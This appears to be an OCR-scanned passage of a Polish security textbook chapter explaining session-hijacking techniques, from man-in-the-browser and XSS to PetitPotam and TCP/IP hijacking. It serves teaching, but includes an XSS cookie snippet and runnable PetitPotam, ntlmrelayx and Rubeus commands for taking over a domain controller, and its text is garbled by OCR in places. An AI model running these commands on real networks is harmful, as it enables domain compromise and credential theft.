potgczenie TCP miedzy klientem a serwerem.

tamanie identyfikatoréw sesji za pomoca ataku Man-in-the-Browser/Manipulator-in-the-Browser

Atak typu ,cztowiek w przeglagdarce/manipulator w przegladarce” jest podobny do ataku MITM.
Réznica miedzy nimi polega na tym, ze atak typu ,cztowiek w przegladarce” wykorzystuje konia
trojanskiego do przechwytywania i manipulowania potgczeniami miedzy przegladarka a jej
mechanizmami bezpieczenstwa Ilub bibliotekami. Osoba atakujgca umieszcza wczesniej
zainstalowanego trojana miedzy przegladarka a jej mechanizmem bezpieczefstwa, a trojan moze
modyfikowac strony internetowe i tres¢ transakcji lub wprowadza¢ dodatkowe transakcje. Wszystkie
dziatania trojana sg niewidoczne zaréwno dla uzytkownika, jak i aplikacji internetowej. Gtdwnym celem
tego ataku jest kradziez finansowa poprzez manipulowanie transakcjami dokonywanymi za pomoca
systemow bankowosci internetowej. Atak typu ,cztowiek w przegladarce” moze odnies¢ sukces nawet
w obecnosci mechanizmdéw bezpieczenstwa, takich jak SSL, infrastruktura klucza publicznego (PKI) i
uwierzytelnianie dwusktadnikowe, poniewaz wszystkie oczekiwane kontrole i mechanizmy
bezpieczenstwa wydajg sie dziata¢ normalnie.

Kroki przeprowadzania ataku typu ,cztowiek w przegladarce”:
Trojan najpierw infekuje oprogramowanie komputera (system operacyjny lub aplikacje).
Trojan instaluje szkodliwy kod (pliki rozszerzen) i zapisuje go w konfiguracji przegladarki.

Po ponownym uruchomieniu przeglagdarki przez uzytkownika tadowany jest ztosliwy kod w postaci
plikdw rozszerzen.

Pliki rozszerzen rejestrujg modut obstugi dla kazdej wizyty na stronie internetowej.

Po zatadowaniu strony rozszerzenie dopasowuje jej adres URL do listy znanych witryn bedacych celem
ataku.

Uzytkownik bezpiecznie loguje sie do serwisu.

Rozszerzenie rejestruje procedure obstugi zdarzern przycisku, gdy zostanie wykryte tadowanie
okreslonej strony z okreslonym wzorcem i porownuije je z listg docelowa.

Gdy uzytkownik kliknie przycisk, rozszerzenie uzywa interfejsu Document Object Model (DOM) i
wyodrebnia wszystkie dane ze wszystkich pdl formularza oraz modyfikuje wartosci.

Przegladarka wysyta formularz i zmodyfikowane wartosci na serwer.

Serwer odbiera zmodyfikowane wartosci, ale nie moze rozrézni¢ wartosci oryginalnych i
zmodyfikowanych.

Po wykonaniu transakcji przez serwer generowany jest paragon.
Teraz przegladarka otrzymuje potwierdzenie zmodyfikowanej transakcji.
Przegladarka wyswietla paragon z oryginalnymi danymi.

Uzytkownik uwaza, ze pierwotna transakcja zostata odebrana przez serwer bez zadnego
przechwycenia.

Narazanie identyfikatorow sesji przy uzyciu atakdw po stronie klienta



Celem atakéow po stronie klienta sg luki w zabezpieczeniach aplikacji klienckich, ktére wchodzg w
interakcje ze ztosliwym serwerem lub przetwarzajg ztosliwe dane. W zaleznosci od charakteru luk
osoba atakujgca moze wykorzystaé aplikacje, wysytajagc wiadomos¢ e-mail ze ztosliwym tgczem lub w
inny sposdéb naktaniajgc uzytkownika do odwiedzenia ztosliwej witryny. Aplikacje po stronie klienta
podatne na ataki obejmujg niezabezpieczone witryny internetowe, $rodowisko Java Runtime
Environment i przegladarki; z nich gtéwnym celem sg przegladarki. Ataki po stronie klienta maja
miejsce, gdy klienci nawigzujg potgczenia ze ztosliwymi serwerami i przetwarzajg z nich potencjalnie
szkodliwe dane. Jesli nie ma interakcji miedzy klientem a serwerem, nie ma mozliwosci ataku po stronie
klienta. Jednym z takich przyktadéw jest uruchomienie klienta protokotu FTP (File Transfer Protocol)
bez ustanawiania potaczenia z serwerem FTP. W przypadku komunikatoréw aplikacja jest
skonfigurowana w taki sposéb, ze wymusza na klientach logowanie sie do zdalnego serwera, czynigc
go podatnym na ataki po stronie klienta. Ponizsze ataki po stronie klienta mogg stuzy¢ do naruszenia
bezpieczenstwa identyfikatorow sesji.

Cross-site scripting (XSS): XSS umozliwia atakujgcym wstrzykiwanie ztosliwych skryptéw po stronie
klienta do stron internetowych przegladanych przez innych uzytkownikéw.

Ztosliwe kody JavaScript: osoba atakujgca moze osadzi¢ na stronie internetowej ztosliwy skrypt, ktory
nie generuje zadnych ostrzezen, ale przechwytuje tokeny sesji w tle i wysyta je do osoby atakujgce;j.

Trojany: kon trojaniski moze zmienic ustawienia proxy w przegladarce uzytkownika, aby wszystkie sesje
byty wysytane przez maszyne atakujacego.

Narazanie identyfikatoréw sesji przy uzyciu atakdw po stronie klienta: atak skryptowy miedzy
witrynami

Atak typu cross-site script to atak po stronie klienta, w ktérym osoba atakujgca naraza token sesji przy
uzyciu ztosliwego kodu lub programéw. Ten typ ataku ma miejsce, gdy dynamiczna strona internetowa
otrzymuje ztodliwe dane od atakujgcego i wykonuje je w systemie uzytkownika. Witryny sieci Web,
ktére tworzg strony dynamiczne, nie majg kontroli nad sposobem odczytywania danych wyjsciowych
przez klientéow. W ten sposéb osoby atakujgce mogg wstawic¢ ztosliwy aplet JavaScript, VBScript,
ActiveX, Hypertext Markup Language (HTML) lub Flash do podatnej na ataki strony dynamicznej. Ta
strona nastepnie wykonuje skrypt na komputerze uzytkownika i zbiera dane osobowe uzytkownika,
kradnie pliki cookie, przekierowuje uzytkownikdw do nieoczekiwanych stron internetowych lub
wykonuje ztosliwy kod w systemie uzytkownika. Jak pokazano na ponizszym rysunku, uzytkownik
najpierw nawigzuje wazng sesje z serwerem. Osoba atakujgca wysyta spreparowany link do ofiary ze
ztodliwym kodem JavaScript. Gdy uzytkownik kliknie tgcze, JavaScript uruchamia sie automatycznie i
wykonuje instrukcje ustawione przez atakujgcego. Wynik wyswietla biezacy identyfikator sesji
uzytkownika. Korzystajagc z tej samej techniki, osoba atakujgca moze utworzyé okreslony kod
JavaScript, ktory pobiera identyfikator sesji uzytkownika:

<SCRIPT>alert(document.cookie);</SCRIPT>

Nastepnie atakujacy uzywa skradzionego identyfikatora sesji do ustanowienia prawidtowej sesji z
serwerem,.

Narazanie identyfikatorow sesji za pomocg atakoéw po stronie klienta: atak fatszerstwa zagdan miedzy
witrynami



Fatszerstwo zgdan miedzy witrynami (CSRF), znane rowniez jako atak jednym kliknieciem lub jazda na
sesji, to atak, w ktorym atakujgcy wykorzystuje aktywng sesje ofiary z zaufang witryng do wykonywania
ztosliwych dziatan, takich jak zakup przedmiotéw oraz modyfikacja lub odzyskanie informacji o koncie.
W atakach internetowych CSRF atakujgcy tworzy formularz hosta zawierajacy ztosliwe informacje i
wysyta go do autoryzowanego uzytkownika. Uzytkownik wypetnia formularz i przesyta go do serwera
WWW. Poniewaz dane pochodzg od zaufanego uzytkownika, serwer sieciowy je akceptuje. W
przeciwienstwie do ataku XSS, ktéry wykorzystuje zaufanie uzytkownika do okreslonej witryny, CSRF
wykorzystuje zaufanie, jakie witryna ma do przegladarki uzytkownika. Atak CSRF obejmuje nastepujace
kroki.

¢ Osoba atakujgca udostepnia strone internetowg z formularzem, ktéry wyglada na uzasadniony. Ta
strona zawiera juz zgdanie atakujgcego.

¢ Uzytkownik wierzac, ze formularz jest oryginalny, wprowadza login i hasto.
e Gdy uzytkownik wypetni formularz, ta strona zostanie przestana do rzeczywistej witryny.

* Serwer rzeczywistej witryny akceptuje formularz, zaktadajac, ze zostat on wystany przez uzytkownika
na podstawie danych uwierzytelniajgcych.

W ten sposéb serwer akceptuje zadanie atakujgcego.
Narazanie identyfikatorow sesji za pomoca atakéow polegajacych na odtwarzaniu sesji

W ataku polegajgcym na odtwarzaniu sesji osoba atakujgca przechwytuje token uwierzytelniania
uzytkownika, stuchajgc konwersacji miedzy uzytkownikiem a serwerem. Po przechwyceniu tokena
uwierzytelniajgcego atakujgcy ponownie odtwarza Zzadanie uwierzytelnienia do serwera z
przechwyconym tokenem uwierzytelniajgcym, aby unikngé serwera; w konsekwencji uzyskujg
nieautoryzowany dostep do serwera. Atak polegajgcy na powtdrzeniu sesji obejmuje nastepujace
kroki.

Uzytkownik nawigzuje potgczenie z serwerem WWW.
Serwer prosi uzytkownika o informacje uwierzytelniajgce jako dowéd tozsamosci.

Uzytkownik wysyta tokeny uwierzytelniajgce do serwera. Na tym etapie atakujgcy przechwytuje token
pliku uwierzytelniajgcego uzytkownika poprzez podstuchiwanie rozmowy pomiedzy uzytkownikiem i
serwerem.

Po przechwyceniu tokena uwierzytelniajgcego atakujgcy odtwarza zgdanie do serwera z
przechwyconym tokenem uwierzytelniajgcym i uzyskuje nieautoryzowany dostep do serwera.

tamanie identyfikatorow sesji za pomocg utrwalania sesji

Zabezpieczenia sesji sieci Web uniemozliwiajg atakujgcemu przechwycenie, brutalne wymuszenie lub
przewidywanie identyfikatora sesji wystanego przez serwer WWW do przegladarki uzytkownika jako
dowdd uwierzytelnionej sesji. Takie podejscie ignoruje jednak mozliwos¢, ze osoba atakujgca wysle
identyfikator sesji do przegladarki uzytkownika, zmuszajac jg do uzycia wybranego identyfikatora sesji.
Ten typ ataku nazywany jest atakiem polegajgcym na utrwalaniu sesji, poniewaz osoba atakujgca
ustala identyfikator sesji uzytkownika z wyprzedzeniem, zamiast generowaé¢ go losowo podczas
logowania. Atakujgcy przeprowadza atak polegajgcy na utrwalaniu sesji w celu przejecia prawidtowej
sesji uzytkownika. Atakujacy wykorzystuje ograniczenia w zarzgdzaniu identyfikatorami sesji aplikacji
internetowych. Aplikacje internetowe umozliwiajg uzytkownikowi uwierzytelnianie sie przy uzyciu
istniejgcego identyfikatora sesji, zamiast generowania nowego identyfikatora sesji. W tego typu ataku



atakujgcy dostarcza prawidtowy identyfikator sesji aplikacji internetowej i zacheca ofiare do jego
uzycia. Jesli przegladarka ofiary uzywa tego identyfikatora sesji, atakujgcy moze przejgé sesje
zweryfikowang przez uzytkownika, poniewaz jest juz swiadomy identyfikatora sesji uzywanego przez
ofiare. Atak polegajacy na utrwalaniu sesji jest rodzajem przejecia sesji. Jednak zamiast kras¢ sesje
nawigzang miedzy uzytkownikiem a serwerem WWW po zalogowaniu sie uzytkownika, atak polegajacy
na utrwalaniu sesji naprawia nawigzang sesje w przegladarce uzytkownika; w zwigzku z tym atak jest
inicjowany przed zalogowaniem sie uzytkownika. Osoba atakujgca stosuje rézne techniki w celu
przeprowadzenia ataku polegajgcego na utrwalaniu sesji:

Token sesji w argumencie adresu URL
Token sesji w ukrytym polu formularza
Identyfikator sesji w pliku cookie

Atakujgcy musi wybraé technike w oparciu o sposéb, w jaki docelowa aplikacja internetowa uzywa
tokendw sesji. Atakujacy wykorzystuje luke w zabezpieczeniach serwera, ktéra pozwala uzytkownikowi
na uzycie statego identyfikatora sesji. Nastepnie atakujgcy dostarcza ofierze prawidtowy identyfikator
sesji i zacheca jg do uwierzytelnienia sie przy uzyciu tego identyfikatora sesji. Atak polegajacy na
utrwalaniu sesji sktada sie z trzech nastepujacych faz.

e Faza konfiguracji sesji: w tej fazie osoba atakujgca najpierw uzyskuje prawidtowy identyfikator sesji,
ustanawiajgc potgczenie z docelowym serwerem WWW. Niewiele serwerow WWW obstuguje funkcje
limitu czasu bezczynnej sesji. Jesli docelowy serwer WWW obstuguje te funkcje, osoba atakujgca musi
wielokrotnie wysyta¢ zadania, aby utrzymac ustalony identyfikator sesji putapki.

e Faza utrwalania: w tej fazie atakujacy wprowadza identyfikator sesji do przegladarki ofiary,
naprawiajgc w ten sposob sesje.

¢ Faza wejscia: w tej fazie atakujacy czeka, az ofiara zaloguje sie do docelowego serwera WWW przy
uzyciu identyfikatora sesji putapki, a nastepnie wchodzi do sesji ofiary.

Atak polegajacy na utrwalaniu sesji jest wykonywany w nastepujgcych krokach.
¢ Najpierw atakujacy ustanawia prawidtowe potgczenie z docelowym serwerem WWW.

e Docelowy serwer WWW (np. http://citibank.com/ ) wysyta atakujgcemu identyfikator sesji, np.
OD6441FEA4496C2.

. Atakujacy wysyta link z ustanowionym identyfikatorem sesji, np.
http://citibank.com/?SID=0D6441FEA4496C2, do ofiary i zacheca ofiare do klikniecia go w celu
uzyskania dostepu do strony internetowej. Ofiara klika w link, wierzgc, ze jest to legalny link wystany
przez bank. Spowoduje to otwarcie strony logowania do serwera w przeglgdarce ofiary dla
SID=0D6441FEA4496C2.

e Serwer WWW sprawdza, czy sesja o identyfikatorze OD6441FEA4496C2 jest juz ustanowiona i czy
jest w stanie aktywnym; w zwigzku z tym nie tworzy nowej sesji.

¢ Na koniec ofiara wprowadza swoje dane logowania w skrypcie logowania, a serwer udziela zgody im
dostep do rachunku bankowego.

¢ W tym momencie, znajac identyfikator sesji, atakujgcy moze réwniez uzyskac¢ dostep do konta w
banku ofiary przez http://citibank.com/? SID=0D6441FEA4496C2.



* Poniewaz identyfikator sesji jest ustawiany przez atakujgcego przed zalogowaniem sie uzytkownika,
mozna powiedzie¢ o uzytkowniku ,ze zalogowat sie do sesji atakujgcego.

Przejecie sesji przy uzyciu serweréw proxy

Atakujacy nakfania ofiare do klikniecia fatszywego tgcza, ktére wyglada na legalne, ale przekierowuje
uzytkownika na serwer atakujgcego. Atakujgcy przekazuje nastepnie zgdanie do legalnego serwera w
imieniu ofiary i stuzy jako posrednik dla catej transakcji. Dziatajgc jako proxy, osoba atakujgca
przechwytuje informacje o sesji podczas interakcji miedzy legalnym serwerem a uzytkownikiem.

Przejecie sesji za pomocg ataku CRIME

Compression Ratio Info-Leak Made Easy (CRIME) to atak po stronie klienta, ktéry wykorzystuje luki w
funkcjach kompresji danych protokotéw, takich jak SSL/Transport Layer Security (TLS), SPDY i HTTP
Secure (HTTPS). Mozliwos¢ ztagodzenia skutkéw kompresji HTTPS jest niewielka, co czyni te luke
jeszcze bardziej niebezpieczng niz inne luki w zabezpieczeniach kompresji. Kiedy dwa hosty w
Internecie nawigzujg pofaczenie za pomocg HTTPS, nawigzywana jest sesja TLS, a dane sg przesytane
w postaci zaszyfrowanej. W zwigzku z tym osobie atakujgcej trudno jest odczyta¢ lub zmodyfikowac
wiadomosci miedzy dwoma hostami. Gdy uzytkownik loguje sie do aplikacji internetowej, dane
uwierzytelniajgce sg przechowywane w pliku cookie. Za kazdym razem, gdy przegladarka wysyta
zadanie HTTPS do aplikacji internetowej, przechowywany plik cookie jest uzywany do uwierzytelnienia.
W tym ataku atakujacy prébuje uzyskac dostep do uwierzytelniajgcego pliku cookie, aby przejac sesje
ofiary. W HTTPS pliki cookie s3 kompresowane przy uzyciu algorytmu bezstratnej kompresji danych
(DEFLATE), a nastepnie szyfrowane. Dlatego atakujgcemu trudno jest uzyskac wartos¢ pliku cookie za
pomocg prostego wachania. Aby przeprowadzi¢ atak CRIME, osoba atakujgca musi uzy¢ technik
inzynierii spotecznej, aby naktonié ofiare do klikniecia ztosliwego tacza. Gdy ofiara kliknie ztosliwy link,
to albo wstrzykuje ztosliwy kod do systemu ofiary lub przekierowuje ofiare na ztosliwg strone
internetowa. Jesli ofiara nawigzata juz potaczenie HTTPS z zabezpieczong aplikacjg internetows,
atakujacy podstuchuje ruch HTTPS ofiary za pomocg technik takich jak spoofing ARP.

Poprzez wachanie osoba atakujgca przechwytuje wartosé pliku cookie z wiadomosci HTTPS i wysyta
wiele zgdan HTTPS do aplikacji internetowej z tym plikiem cookie poprzedzonym kilkoma losowymi
znakami. Nastepnie atakujgcy monitoruje ruch miedzy ofiarg a aplikacjg internetowa, aby uzyskac
skompresowang i zaszyfrowang wartos¢ pliku cookie. Po przechwyceniu pliku cookie atakujgcy
analizuje dtugosc pliku cookie i przewiduje rzeczywistg wartos¢ pliku cookie uwierzytelniania. Po
uzyskaniu pliku cookie uwierzytelniania atakujgcy podszywa sie pod ofiare i przejmuje sesje ofiary z
bezpieczng aplikacjg internetowg w celu kradziezy poufnych informacji, takich jak hasta, numery
ubezpieczenia spotecznego i numery kart kredytowych. Atakujgcy uzywajg narzedzi, takich jak
CrimeCheck, do wykrywania, czy serwer WWW ma wtgczong kompresje TLS lub HTTP, a tym samym sg
narazeni na ataki CRIME.

Przejecie sesji przy uzyciu zabronionego ataku

Zabroniony atak to rodzaj ataku MITM, ktéry mozina wykona¢, gdy kryptograficzny identyfikator
jednorazowy jest ponownie uzywany podczas ustanawiania sesji HTTPS z serwerem. Zgodnie ze
specyfikacjg TLS te dowolne fragmenty danych muszg by¢ uzyte raz. Atak ten wykorzystuje luke
polegajacag na tym, ze implementacja protokotu TLS nieprawidfowo ponownie wykorzystuje ten sam
identyfikator jednorazowy, gdy dane sg szyfrowane przy uzyciu trybu AES-GCM (Advanced Encryption
Standard-Galois/Counter Mode) podczas uzgadniania TLS. Atakujgcy wykorzystujg te luke do
przeprowadzenia ataku MITM, generujac klucze kryptograficzne uzywane do uwierzytelniania.
Powtarzanie tej samej wartosci jednorazowej podczas uzgadniania TLS umozliwia atakujgcemu



monitorowanie i przejecie pofgczenia. Po przejeciu sesji HTTPS i obejsciu ochrony atakujgcy
wprowadzajg do transmisji ztosliwy kod i sfatszowane tresci, takie jak kod JavaScript lub pola
internetowe, ktére proszg uzytkownika o ujawnienie haset, numeréw ubezpieczenia spotecznego lub
innych poufnych informacji. Zabroniony atak obejmuje nastepujgce kroki.

e Atakujacy monitoruje potgczenie miedzy ofiarg a serwerem sieciowym i wyszukuje wartosé
jednorazowg z komunikatdw uzgadniania TLS.

e Atakujgcy generuje klucze uwierzytelniajgce za pomocg wartosci jednorazowej i przejmuje
potgczenie.

e Caty ruch miedzy ofiarg a serwerem sieciowym przeptywa przez maszyne atakujgcego.
¢ Atakujacy wstrzykuje kod JavaScript lub pola sieciowe do transmisji do ofiary.

¢ Ofiara ujawnia atakujgcemu poufne informacje, takie jak numery kont bankowych, hasta i numery
ubezpieczenia spotecznego.

Przejecie sesji za pomocg ataku z darowizng sesji

W ataku darowizny sesji osoba atakujgca przekazuje swdj wtasny identyfikator sesji uzytkownikowi
docelowemu. W tym ataku atakujgcy najpierw uzyskuje prawidtowy identyfikator sesji, logujac sie do
ustugi, a nastepnie przekazuje ten sam identyfikator sesji docelowemu uzytkownikowi. Ten
identyfikator sesji tgczy docelowego uzytkownika ze strong konta atakujgcego bez ujawniania
jakichkolwiek informacji ofierze. Kiedy docelowy uzytkownik kliknie w link i wprowadzi dane (nazwe
uzytkownika, hasto, szczegoty ptatnosci itp.) w formularzu, wprowadzone dane zostang potgczone z
kontem atakujacego. Aby zainicjowad ten atak, osoba atakujgca moze wystaé swdj identyfikator sesji
przy uzyciu technik, takich jak gotowanie miedzy witrynami, atak MITM i utrwalanie sesji. Atak
darowizny sesji obejmuje nastepujace kroki.

Najpierw atakujacy loguje sie do ustugi, ustanawia prawidtowe potfaczenie z docelowym serwerem
WWW i usuwa zapisane informacje.

Docelowy serwer WWW (np. http://citibank.com/ ) wysyta atakujgcemu identyfikator sesji, np.
OD6441FEA4496C2.

Nastepnie atakujacy przekazuje ofierze swoj identyfikator sesji, powiedzmy
http://citibank.com/?SID=0D6441FEA4496 C2, i zacheca ofiare do klikniecia go w celu uzyskania
dostepu do strony internetowej.

Ofiara klika w link, wierzac, ze jest to legalny link wystany przez bank. Spowoduje to otwarcie strony
serwera w przegladarce ofiary z SID=0D6441FEA4496C2. Na koniec ofiara wprowadza swoje dane na
stronie i zapisuje je.

Atakujacy moze teraz zalogowac sie jako siebie i uzyskac informacje o ofierze.
Porwanie PetitPotam

W ataku PetitPotam kontroler domeny (DC) jest zmuszany przez osobe atakujgcg do zainicjowania
uwierzytelnienia na serwerze osoby atakujgcej. W tym celu osoba atakujgca wykorzystuje wywotanie
interfejsu API szyfrujgcego systemu plikédw systemu zdalnego (MS-EFSRPC) firmy Microsoft w celu
przejecia sesji uwierzytelniania. Serwer SMB osoby atakujgcej manipuluje sesja, aby kontroler domeny
uwierzyt, ze osoba atakujgca jest uprawnionym uzytkownikiem, ktéry moze otrzymac skrét NTLM



kontrolera domeny. Wymaga to od atakujgcego posiadania waznych poswiadczen legalnego
uzytkownika, ktdry jest czescig sieci.

Nastepnie osoba atakujgca przekazuje uwierzytelnianie NTLM udostepnione przez kontroler domeny
do Ustug certyfikatow w ustudze Active Directory (AD CS) i generuje certyfikat. Czasami AD CS moze
petnic role kontrolera domeny. Za pomocg certyfikatu atakujgcy uzyskuje uprawnienia administracyjne
i przejmuje petng kontrole nad serwerem AD, a nastepnie nad catg siecig zarzadzang przez kontroler
domeny. Kroki przeprowadzania porwania PetitPotam sg nastepujgce:

1. Atakujgcy uzywa juz przechwyconych poswiadczen NTLM do uwierzytelnienia na serwerze
docelowym.

2. Atakujacy uzywa polecenia EfsRpcOpenFileRaw z interfejsu API MS-EFSRPC, aby zmusi¢ serwer
docelowy do przeprowadzenia uwierzytelnienia NTLM innego systemu.

3. Teraz atakujacy inicjuje atak powtérkowy NTLM w celu uzyskania zdalnego dostepu do docelowego
AD CS.

4. Na koniec atakujgcy tworzy certyfikat AD, aby uzyska¢ uprawnienia administratora docelowego
serwera AD.

Uruchom nastepujgce polecenia, aby przeprowadzi¢ atak polegajacy na porwaniu PetitPotam:
Uzyj ponizszego polecenia, aby zidentyfikowac urzad certyfikaciji:
certutil.exe

Uzyj ponizszego polecenia z zestawu narzedzi Impacket, aby skonfigurowac konfiguracje HTTP/SMB do
przechwytywania poswiadczen z DC:

ntlmrelayx.py -t <URL urzedu certyfikacji z web
rejestracja> -smb2support —adcs --template Kontroler domeny

Uzyj nastepujgcego polecenia, aby wymusi¢ uwierzytelnienie przy uzyciu przechwyconych
poswiadczen za posrednictwem wywotania interfejsu API MS-EFSRPC:

python3 PetitPotam.py -d <nazwa urzedu certyfikacji> -u <nazwa uzytkownika> -p <hasto>
<adres IP stuchacza> <adres IP kontrolera domeny>

Atak mozna réwniez przeprowadzi¢ bez poswiadczen, jesli kontroler domeny jest podatny na ataki.
Uzyj nastepujacego polecenia, aby uruchomié PetitPotam bez poswiadczen, aby otrzymac skréty NTLM
certyfikatu.

python3 PetitPotam.py <IP atakujgcego> <IP DC>

Po uzyskaniu skréotéw NTLM certyfikatu wywotaj narzedzia do tamania haset, takie jak Rubeus, aby
zazgdad biletu Kerberos dla maszyny zawierajgcej uprawnienia do konta DC:

Rubeus.exe asktgt /outfile.kirbi /dc:<DC-IP> /domena: nazwa domeny

Juser: <nazwa uzytkownika domeny> /ptt /certificate: <skroty NTLM otrzymane z powyziszego
polecenia>

Przechwytywanie sesji na poziomie sieci



Atakujacy koncentrujg sie szczegdlnie na przechwytywaniu sesji na poziomie sieci, poniewaz nie
wymaga ono dostepu do hosta, w przeciwienstwie do przechwytywania sesji na poziomie hosta, ani
potrzeby dostosowywania atakéw do poszczegdlnych aplikacji, w przeciwienstwie do
przechwytywania na poziomie aplikacji. W tej sekcji omowiono przejmowanie sesji na poziomie sieci,
koncepcje zwigzane z komunikacjg sieciowg oraz rézne techniki wykorzystywane do przejmowania
sesji na poziomie sieci.

Przechwytywanie na poziomie sieci polega na przejmowaniu protokotéw transportowych i
internetowych uzywanych przez aplikacje internetowe w warstwie aplikacji. Atakujac sesje na
poziomie sieci, osoba atakujaca zbiera pewne krytyczne informacje, ktére sg wykorzystywane do
atakowania sesji na poziomie aplikacji. Ponizej przedstawiono rézne rodzaje przejmowania kontroli na
poziomie sieci:

Porwanie na slepo

Przejecie UDP

Przejecie kontroli nad TCP/IP
Tréjstronny uscisk dtoni

Kiedy dwie strony nawigzujg potaczenie przy uzyciu protokotu TCP, wykonujg tréjstronne uzgadnianie.
Uscisk tréjstronny rozpoczyna potgczenie i wymienia wszystkie parametry potrzebne do komunikacji
obu stron. TCP uzywa trdjstronnego uzgadniania do ustanowienia nowego potaczenia. Poczgtkowo
potfaczenie po stronie klienta jest w stanie zamknietym, a po stronie serwera w stanie nastuchiwania.
Klient inicjuje potgczenie wysytajgc poczgtkowy numer sekwencyjny (ISN) i ustawiajac flage SYN. Klient
jest teraz w stanie SYN-SENT. Gdy serwer odbierze ten pakiet, potwierdza numer sekwencyjny klienta
i wysyta wtasny numer ISN z ustawiong flagg SYN. Stan serwera to teraz SYN-RECEIVED. Po otrzymaniu
tego pakietu, klient potwierdza numer sekwencyjny serwera, zwiekszajgc go i ustawiajgc flage ACK.
Klient jest teraz w ustalonym stanie. W tym momencie oba komputery ustanowity sesje i mogg sie
komunikowa¢. Po otrzymaniu potwierdzenia od klienta, serwer wchodzi w stan ustalony i wysyta
potwierdzenie, inkrementujgc numer sekwencyjny klienta. Potgczenie mozna zamkngé za pomoca flagi
FIN lub RST albo przez przekroczenie limitu czasu. Jesli flaga RST pakietu jest ustawiona, host
odbierajacy przechodzi w stan ZAMKNIETY i zwalnia wszystkie zasoby zwigzane z tym pofaczeniem.
Prowadzi to do zerwania potgczenia przez dodatkowe pakiety przychodzace. Jesli pakiet jest wysytany
z wigczong flagg FIN, host odbierajgcy zamyka potgczenie, poniewaz przechodzi w stan CLOSE-WAIT.
Pakiety wysytane przez klienta sg akceptowane w nawigzanym potaczeniu, je$li numer sekwencyjny
miesci sie w zakresie i nastepuje po swoim poprzedniku. Jesli numer sekwencyjny jest poza zakresem
dopuszczalnych numeréw sekwencyjnych, odrzuca pakiet i wysyta pakiet ACK, uzywajgc oczekiwanego
numeru sekwencyjnego. Aby trzy strony mogty sie komunikowa¢, wymagane s3g nastepujgce
informacje:

e Adres IP
e Numery portow
¢ Numery sekwencyjne

Osoba atakujgca moze tatwo okresli¢ adres IP i numer portu; sg one dostepne w pakietach IP, ktore
nie zmieniajg sie w trakcie sesji. Flowerever, numery porzgdkowe sie zmieniajg. Dlatego atakujgcy musi
pomyslinie odgadngé¢ numery sekwencyjne dla Slepego przejecia. Jesli atakujgcemu uda sie oszukac
serwer w celu odebrania sfatszowanych pakietow i wykonania ich, atakujgcemu uda sie przejag¢ sesje.



Uscisk tréjstronny pokazany na powyzszym rysunku obejmuje nastepujgce kroki.
1.Bob inicjuje potgczenie z serwerem i wysyta pakiet do serwera z zestawem flag SYN

2. Serwer odbiera ten pakiet i wysyta pakiet z flagg SYN + ACK oraz poczatkowym numerem
sekwencyjnym (ISN) dla serwera.

3. Bob ustawia flage ACK potwierdzajacg odbidr pakietu i zwieksza numer sekwencyjny o 1.
4. Oba komputery pomysinie ustanowity sesje.

Jesli atakujgcy moze przewidzieé nastepny numer sekwencyjny i numer ACK, ktére wysle Bob, moze
sfatszowac adres Boba i rozpocza¢ komunikacje z serwerem.

Przejecie protokotu TCP/IP

Podczas przejmowania kontroli nad TCP/IP osoba atakujgca przechwytuje ustanowione potaczenie
miedzy dwiema komunikujgcymi sie stronami za pomocg sfatszowanych pakietéw, a nastepnie udaje
jedna z tych stron. W tym podejsciu atakujacy wykorzystuje sfatszowane pakiety do przekierowania
ruchu TCP na wtasng maszyne. Gdy to sie powiedzie, potgczenie ofiary zawiesza sie, a atakujacy moze
komunikowac¢ sie z maszyng hosta w imieniu ofiary. Aby przeprowadzi¢ atak polegajacy na porwaniu
protokotu TCP/IP, zaréwno ofiara, jak i atakujgcy muszg znajdowacd sie w tej samej sieci. Serwer
docelowy i maszyny ofiary mogg znajdowac sie w dowolnym miejscu. Korzystajgc z tej techniki, osoba
atakujagca moze tatwo zaatakowad systemy uzywajgce haset jednorazowych. Jak pokazano na
ponizszym rysunku, przejmowanie kontroli nad TCP/IP obejmuje nastepujace procesy.

* Haker sledzi komunikacje miedzy ofiarg a hostem, aby uzyska¢ numer ISN ofiary.

* Korzystajgc z tego numeru ISN, atakujgcy wysyta sfatszowany pakiet z adresu IP ofiary do systemu
hosta.

* Maszyna hosta odpowiada ofierze, zaktadajac, ze pakiet pochodzi z niej. Powoduje to zwiekszenie
numeru sekwencji.

Przejecie kontroli nad TCP/IP odbywa sie w nastepujgcych krokach.

* Atakujacy wyszukuje potgczenie ofiary i wykorzystuje jej adres IP do wystania sfatszowanego pakietu
z przewidywanym numerem sekwencyjnym.

*QOdbiorca przetwarza sfatszowany pakiet, zwieksza numer sekwencyjny i wysyta potwierdzenie na
adres IP ofiary.

* Maszyna ofiary nie wie o sfatszowanym pakiecie. Dlatego ignoruje pakiet ACK maszyny odbiorczej i
wytacza licznik numerdw sekwencyjnych.

* W rezultacie odbiornik odbiera pakiety z nieprawidtowym numerem sekwencyjnym.

* Atakujgcy wymusza desynchronizacje potaczenia ofiary z maszyng odbiorczg.

* Atakujacy Sledzi numery sekwencyjne i nieustannie fatszuje pakiety pochodzgce z adresu IP ofiary.
*Atakujgcy nadal komunikuje sie z maszyng odbiorczg, podczas gdy potaczenie ofiary zawiesza sie.
Fatszowanie adresow IP: pakiety kierowane do Zzrdédta

Pakiety kierowane ze Zrddta sg przydatne w uzyskiwaniu nieautoryzowanego dostepu do komputera
za pomocg adresu IP zaufanego hosta. Ten typ przejecia umozliwia atakujgcym tworzenie witasnych



akceptowalnych pakietéw w celu wstawienia ich do sesji TCP. Po pierwsze, atakujacy fatszuje adres IP
zaufanego hosta, aby serwer zarzadzajacy sesjg z hostem przyjmowat pakiety od atakujgcego. Pakiety
sg kierowane ze zrédta; dlatego nadawca okresla sciezke pakietéw od Zzrddta do docelowego adresu IP.
Wykorzystujgc te technike routingu Zrddta, osoby atakujgce oszukujg serwer, aby uwierzyt, ze
komunikuje sie z uzytkownikiem. Po pomysinym sfatszowaniu adresu IP porywacz zmienia sekwencje i
numery potwierdzenia. Po zmianie tych liczb atakujgcy wstrzykuje sfatszowane pakiety do sesji TCP,
zanim klient bedzie mégt odpowiedzie¢. Prowadzi to do stanu niezsynchronizowanego, poniewaz tam
sekwencja i numery ACK nie sg zsynchronizowane. Oryginalne pakiety sg tracone, a serwer otrzymuje
pakiet z nowym numerem ISN. Te pakiety sg kierowane zrédtowo do poprawionego docelowego
adresu IP okreslonego przez atakujacego.

Porwanie RST

Przejecie RST polega na wstrzyknieciu autentycznie wygladajgcego pakietu resetowania (RST) przy
uzyciu sfatszowanego zrédtowego adresu IP i przewidywaniu numeru potwierdzenia. Haker moze
